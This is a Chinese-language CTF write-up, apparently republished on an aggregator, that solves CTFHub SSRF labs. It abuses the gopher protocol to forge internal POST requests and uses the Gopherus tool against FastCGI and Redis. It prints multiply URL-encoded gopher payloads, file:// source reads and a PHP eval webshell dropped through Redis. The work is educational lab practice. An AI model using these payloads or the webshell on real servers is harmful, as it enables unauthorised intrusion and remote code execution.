SSRF(2)

Gopher协议的利用

gopher协议是ssrf利用中最强大的协议

gopher协议支持发出GET、POST请求:

可以先截获get请求包和post请求包,再构成符合gopher协议的请求。

默认端口为70,一般需发送到80端口

如果发起post请求,回车换行需要使用%0D%0A,如果多个参数,参数之间的&也需要进行URL编码。

gopher使用结构:

gopher://127.0.0.1:80/_{TCP/IP数据流}      //_不能省

 POST请求

打开看到题目描述,先用dirsearch扫一下

dirsearch -u http://challenge-c81b1dbf4106f429.sandbox.ctfhub.com:10800/?url=127.0.0.1

发现只有/flag.php可以访问

访问后发现有个输入框

查看源代码看见key

尝试使用file://协议读取文件

读取index.php文件源代码

?url=file:///var/www/html/index.php

读取flag.php文件源代码

?url=file:///var/www/html/flag.php

发现POST传参了key值

补充:

当前运行脚本所在服务器(非本地)IP地址

只要往flag.php传key值就可以得到flag,而index.php可以利用curl传url,就可以用gopher协议在index.php中构造post请求包往flag.php传key值,获得flag

POST包必须包含的四个参数:Content-Type,Content-Length,host,post

gopher的数据需要用url编码三次之后再发送,且第一次编码后%0A需全部替换成%0D%0A,利用ssrf时常需要进行多次url编码,执行curl功能(利用URL语法在命令行下工作的文件传输工具)后会被解码一次,利用?url=gopher://形式进行ssrf请求又会被解码一次,如果有302跳转 也会被解码一次。(可以说传参+跳转,请求多少次就要编码多少次)

POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-from-urlencode
Conternt-Length: 36

key=e9653266a13e73c36f3292268cc56b22

对构造的请求包进行编码

补充:

Gopher协议包含的请求数据包中,可能包含有=&等特殊字符,避免与服务器解析传入的参数键值对混淆,所以对数据包进行 URL编码,这样服务端会把%后的字节当做普通字节。

80是http默认端口

第一次编码后需要将%0A替换为%0D%0A

替换后是这样的

POST%20/flag.php%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%3A80%0D%0AContent-Length%3A%2036%20%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0A%0D%0Akey%3De9653266a13e73c36f3292268cc56b22

第二次编码

POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Length%253A%252036%2520%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250A%250D%250Akey%253De9653266a13e73c36f3292268cc56b22

第三次编码

POST%252520/flag.php%252520HTTP/1.1%25250D%25250AHost%25253A%252520127.0.0.1%25253A80%25250D%25250AContent-Length%25253A%25252036%252520%25250D%25250AContent-Type%25253A%252520application/x-www-form-urlencoded%25250D%25250A%25250D%25250Akey%25253De9653266a13e73c36f3292268cc56b22

由于flag.php中的$_SERVER["REMOTE_ADDR"]无法绕过,于是在index.php中发送 POST请求

构造payload

?url=http://127.0.0.1:80/index.php?url=gopher://127.0.0.1:80/_POST%252520/flag.php%252520HTTP/1.1%25250D%25250AHost%25253A%252520127.0.0.1%25253A80%25250D%25250AContent-Type%25253A%252520application/x-www-form-urlencoded%25250D%25250AContent-Length%25253A%25252036%25250D%25250A%252520%25250D%25250Akey%25253D5194585c8475fb6e7b30ff77454c4aa4

在bp重放器中得到flag 

上传文件

看到题目要求上传文件

发现并没有提交按钮

用伪协议查看flag.php,意思是上传文件不能为空

到这里看了一下别人的wp,发现需要自己加上提交按钮

出现提交按钮

使用bp抓包,这个就是需要构造的POST包

像上一题一样进行三次编码,其中第一次结束后要将%0A全部替换为%0D%0A

构造payload在重放器中发送请求

?url=127.0.0.1/index.php/?url=gopher://127.0.0.1:80/_POST包

得到flag

FastCGI协议

题目要求攻击fastcgi协议,这里不是特别了解,参考附件内容

补充:http://t.csdnimg.cn/73bad

fastcgi协议
fastcgi record

Fastcgi是一个通信协议,和HTTP协议一样,都是进行数据交换的一个通道。

HTTP协议是浏览器和服务器中间件进行数据交换的协议,浏览器将HTTP头和HTTP体用某个规则组装成数据包,以TCP的方式发送到服务器中间件,服务器中间件按照规则将数据包解码,并按要求拿到用户需要的数据,再以HTTP协议的规则打包返回给服务器。

类比HTTP协议来说,fastcgi协议则是服务器中间件和某个语言后端进行数据交换的协议。Fastcgi协议由多个record组成,record也有header和body一说,服务器中间件将这二者按照fastcgi的规则封装好发送给语言后端,语言后端解码以后拿到具体数据,进行指定操作,并将结果再按照该协议封装好后返回给服务器中间件。

record的头固定8个字节,body是由头中的contentLength指定https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html#fastcgi-record

fastcgi type

type用来指定该record的作用。因为fastcgi一个record的大小是有限的,作用也是单一的,所以需要在一个TCP流里传输多个record。通过type来标志每个record的作用,用requestId作为同一次请求的id。

也就是说,每次请求,会有多个record,他们的requestId是相同的。https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html#fastcgi-type

php-fpm

FPM是一个fastcgi协议解析器,Nginx等服务器中间件将用户请求按照fastcgi的规则打包好通过TCP传给FPM。

FPM按照fastcgi的协议将TCP流解析成真正的数据。https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html#php-fpmfastcgi

通过上面的了解知道需要运用到Gopherus工具,这里首先下载并配置好工具,可以参考这个文章http://t.csdnimg.cn/o6kVb

第一行输入路径,第二行执行命令,查看根目录

将gopher协议要发送的内容进行移除url编码

找到flag的文件,接下来进行查看

得到的gopher协议也需要进行一次编码

然后可以传参

得到flag

Redis协议

补充:http://t.csdnimg.cn/FdhWF

什么是redis协议

Redis协议,也被称为 RESP ,它是一种简单的文本协议,用于在客户端和服务器之间操作和传输数据。是最简单的一种传输协议。描述了不同类型的数据结构,定义了请求和响应间数据结构的交互。

法一:

用Gopherus工具构造payload

./gopherus.py --exploit redis

ReverseShell是反弹shell,PHPshell就是webshell,第二行默认路径/var/www/html

最后输入shell语句

<?php eval($_post["cmd"]);?>

然后就可以得到如图

其中的%0A已经是%0D%0A了,不用转换,然后进行二次编码

将构造好的payload上传,很久以后返回504(超时)

访问shell.php(工具生成shell的文件名)

蚁剑测试连接成功

得到flag

法二:

与法一第一步相同,都是用Gopherus工具构造payload,其中默认命令参数是cmd

与法一第二步相同,不用更改,直接进行编码

接着上传,同样是504,然后发现可以访问shell.php

用命令查看根目录,发现flag的存在

最后用cat查看内容,得到flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/857818.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

消息队列-概述-JMS和AMQP

JMS和AMQP JMS是什么 JMS&#xff08;JAVA Message Service,java 消息服务&#xff09;是 Java 的消息服务&#xff0c;JMS 的客户端之间可以通过 JMS 服务进行异步的消息传输。JMS&#xff08;JAVA Message Service&#xff0c;Java 消息服务&#xff09;API 是一个消息服务…

1950 Springboot汽修技能点评系统idea开发mysql数据库APP应用java编程计算机网页源码maven项目

一、源码特点 springboot 汽修技能点评系统是一套完善的信息系统&#xff0c;结合springboot框架和bootstrap完成本系统&#xff0c;对理解JSP java编程开发语言有帮助系统采用springboot框架&#xff08;MVC模式开发&#xff09;&#xff0c;系统 具有完整的源代码和数据库&…

提高开关电源效率一般做法

提高开关电源效率一般做法 开关电源的功耗包括由半导体开关、磁性元件和布线等的寄生电阻所产生的固定损耗以及进行开关操作时的开关损耗。对于固定损耗,由于它主要取决于元件自身的特性,因此需要通过元件技术的改进来予以抑制。在磁性元件方面,对于兼顾了集肤效应和…

Google Adsense----Wordpress插入谷歌广告

1.搭建个人博客,绑定谷歌search consol,注册adsense 详细可以参考这个视频b站视频 2.将个人博客网站关联到Adsense 在adsense里新加网站,输入你的博客网址,双击网站 将这段代码复制到header.php的里面 在wordpress仪表盘的外观-主题文件编辑器,找到header.php将代码复制,…

全网最全!25届最近5年上海理工大学自动化考研院校分析

上海理工大学 目录 一、学校学院专业简介 二、考试科目指定教材 三、近5年考研分数情况 四、近5年招生录取情况 五、最新一年分数段图表 六、历年真题PDF 七、初试大纲复试大纲 八、学费&奖学金&就业方向 一、学校学院专业简介 二、考试科目指定教材 1、考试…

获取时间戳是使用System.currentTimeMillis()还是使用new Date().getTime()(阿里开发规范)?

1.阿里规范 在阿里的Java开发手册中强制要求使用System.currentTimeMillis() 2.为什么(源码详解) new Date().getTime()它实际上也是调用的System.currentTimeMillis()&#xff0c;源码分析。 这个fastTime是它的成员变量&#xff0c;在new Date()的时候就被赋值了。 扩展一…

CentOS 7 安装部署Cassandra4.1.5

一、Cassandra的介绍 Cassandra是一套开源分布式NoSQL数据库系统。它最初由Facebook开发&#xff0c;用于储存收件箱等简单格式数据&#xff0c;集GoogleBigTable的数据模型与Amazon Dynamo的完全分布式的架构于一身Facebook于2008将 Cassandra 开源&#xff0c;此后&#xff0…

算法设计与分析:分治法求最近点对问题

目录 一、实验目的 二、实验内容 三、算法思想 四、实验步骤 1、蛮力法 2、分治法 2.1 先用快速排序SortX(A,1,n)将所有点按x坐标升序排序 2.2 点数n<3时直接计算&#xff0c;时间复杂度为O(1) 2.3 点数n>3时 五、实验结果和分析 一、实验目的 1. 掌握分治法思…

ArkUI部分案例笔记——padding,space

基础的构建 组件分类&#xff1a; 容器组件&#xff1a;像Column&#xff0c;Row这种组件就是容器组件一般就来控制行和列的就是容器组件 基础组件&#xff1a;Text(文本组件)&#xff0c;像这种用来有一定功能的就是基础组件 注意&#xff1a;一个build只能有一个根容器组件…

苹果智能和人工智能最大化

苹果智能和人工智能最大化 除了苹果公司&#xff0c;还没有人真正使用过苹果的智能功能。它要到秋天才会分阶段发布&#xff0c;即使到那时&#xff0c;它也无法在80%或90%的iPhone安装基础上运行&#xff0c;因为它需要只有iPhone 15 Pro才能使用的设备上处理功能。没有什么能…

海南聚广众达电子商务咨询有限公司抖音电商新标杆

在数字经济的浪潮中&#xff0c;抖音电商正成为一股不可忽视的力量。海南聚广众达电子商务咨询有限公司&#xff0c;作为专注于抖音电商服务的领军企业&#xff0c;凭借其专业的团队和创新的思维&#xff0c;不断助力商家在抖音平台上实现商业价值的最大化。 海南聚广众达电子…

Github上传大于100M的文件(ubuntu教程)

安装Git-lfs Git Large File Storage (LFS) 使用 Git 内部的文本指针替换音频样本、视频、数据集和图形等大文件&#xff0c;同时将文件内容存储在 GitHub.com 或 GitHub Enterprise 等远程服务器上。官网下载&#xff1a;https://git-lfs.github.com/ ./install.sh上传 比如…

基于SpringBoot+Vue大学生网络教学平台设计和实现(源码+LW+调试文档+讲解等)

&#x1f497;博主介绍&#xff1a;✌全网粉丝10W,CSDN作者、博客专家、全栈领域优质创作者&#xff0c;博客之星、平台优质作者、专注于Java、小程序技术领域和毕业项目实战✌&#x1f497; &#x1f31f;文末获取源码数据库&#x1f31f; 感兴趣的可以先收藏起来&#xff0c;…

LLC开关电源开发:第四节,LLC软件设计报告

LLC源代码链接 数控全桥LLC开发板软件设计报告  1. LLC硬件及软件框架2. LLC软件设计2.1 工程文件说明2.2 LLC中断设计2.2.1 20us中断2.2.2 5ms中断 2.3 LLC状态机设计2.3.1 初始化状态2.3.2 空闲状态2.3.3 软启动状态2.3.4 正常运行状态2.3.5 故障状态 2.4 环路设计2.4.1 环路…

机器学习课程复习——逻辑回归

1. 激活函数 Q:激活函数有哪些? SigmoidS型函数Tanh 双曲正切函数

Nature Climate Change | 气候变暖会造成未来全球干旱区面积扩张?

在气候变暖的情况下&#xff0c;旱地通常被预测将在全球范围内扩大&#xff0c;旱地包括以水资源有限、植被稀疏为特征的土地区域。然而&#xff0c;这种预测依赖于旱地的大气代用物&#xff0c;即干旱指数。最近的研究表明&#xff0c;干旱指数对陆地水循环的各种组成部分的预…

设计模式1-简介

设计模式简介 专栏的目的什么是设计模式设计模式要学什么软件开发原则主流设计模式 学习建议经典面试题 资源 专栏的目的 1.理解松耦合的设计思想 2.掌握面向对象设计原则 3.掌握重构技法改善设计 4.掌握GOF核心设计模式 什么是设计模式 每一个模式描述了一个在我们周围不…

公共 IP 地址和私有 IP 地址的区别总结

什么是IP地址&#xff1f; IP 地址&#xff0c;即互联网协议地址&#xff08;Internet Protocol Address&#xff09;&#xff0c;是网络设备在网络中进行通信的标识。IP 地址可以看作是设备在网络中的“地址”&#xff0c;有助于数据包在网络中找到正确的接收端。IP 地址主要…

基于大型语言模型的全双工语音对话方案

摘要解读 我们提出了一种能够以全双工方式运行的生成性对话系统&#xff0c;实现了无缝互动。该系统基于一个精心调整的大型语言模型&#xff08;LLM&#xff09;&#xff0c;使其能够感知模块、运动功能模块以及一个具有两种状态&#xff08;称为神经有限状态机&#xff0c;n…

Vue: Module “vue“ has no exported member xxx

这个问题让我困扰了好一会儿&#xff0c;我询问了 chatgpt 和各种网站社区&#xff0c;尝试了切换依赖的版本&#xff0c;清除缓存等等&#xff0c;依然没有解决 不过算是有心栽花花不开&#xff0c;无心插柳柳成荫&#xff0c;碰巧解决了&#xff0c;也不知道是不是这个原因&a…